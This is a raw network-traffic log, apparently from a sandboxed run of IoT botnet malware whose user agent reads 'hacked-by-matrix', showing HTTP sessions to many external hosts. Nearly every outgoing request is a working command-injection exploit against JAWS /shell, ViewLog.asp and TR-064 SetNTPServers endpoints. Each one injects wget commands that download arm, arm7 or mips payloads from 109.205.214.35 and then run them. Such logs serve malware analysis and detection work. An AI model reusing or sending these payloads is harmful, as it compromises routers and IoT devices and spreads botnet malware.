Mar 21, 2024 05:17:32.922302008 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:34.419817924 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:36.211894035 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:36.494412899 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	58976	218.60.21.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.006133080 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:33.332693100 CET	168	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	51540	213.128.64.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.021696091 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:33.728055954 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:33.945329905 CET	359	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Mar 21, 2024 05:17:33.945413113 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:33 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	38488	83.66.204.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.021770954 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.167792082 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:35.508915901 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:38.230384111 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.603807926 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:54.355793953 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:16.883810997 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:59.895850897 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	36832	200.205.52.15	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.021805048 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.167794943 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.392133951 CET	530	IN	HTTP/1.1 303 See Other Content-Type: text/html; charset=UTF-8 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Access-Control-Allow-Origin: https://www.oabsp.org.br Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Content-Type Date: Thu, 21 Mar 2024 04:17:33 GMT Content-Length: 160 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a></body>
Mar 21, 2024 05:17:34.392313004 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:33 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	47286	66.6.25.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.201606035 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:33.309645891 CET	305	IN	HTTP/1.1 400 Bad Request Server: rdwr Date: Thu, 21 Mar 2024 04:17:33 GMT Content-Type: text/html Content-Length: 149 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 72 64 77 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>rdwr</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	35186	116.14.193.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.410157919 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:33.794739008 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	46202	13.75.34.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.642623901 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

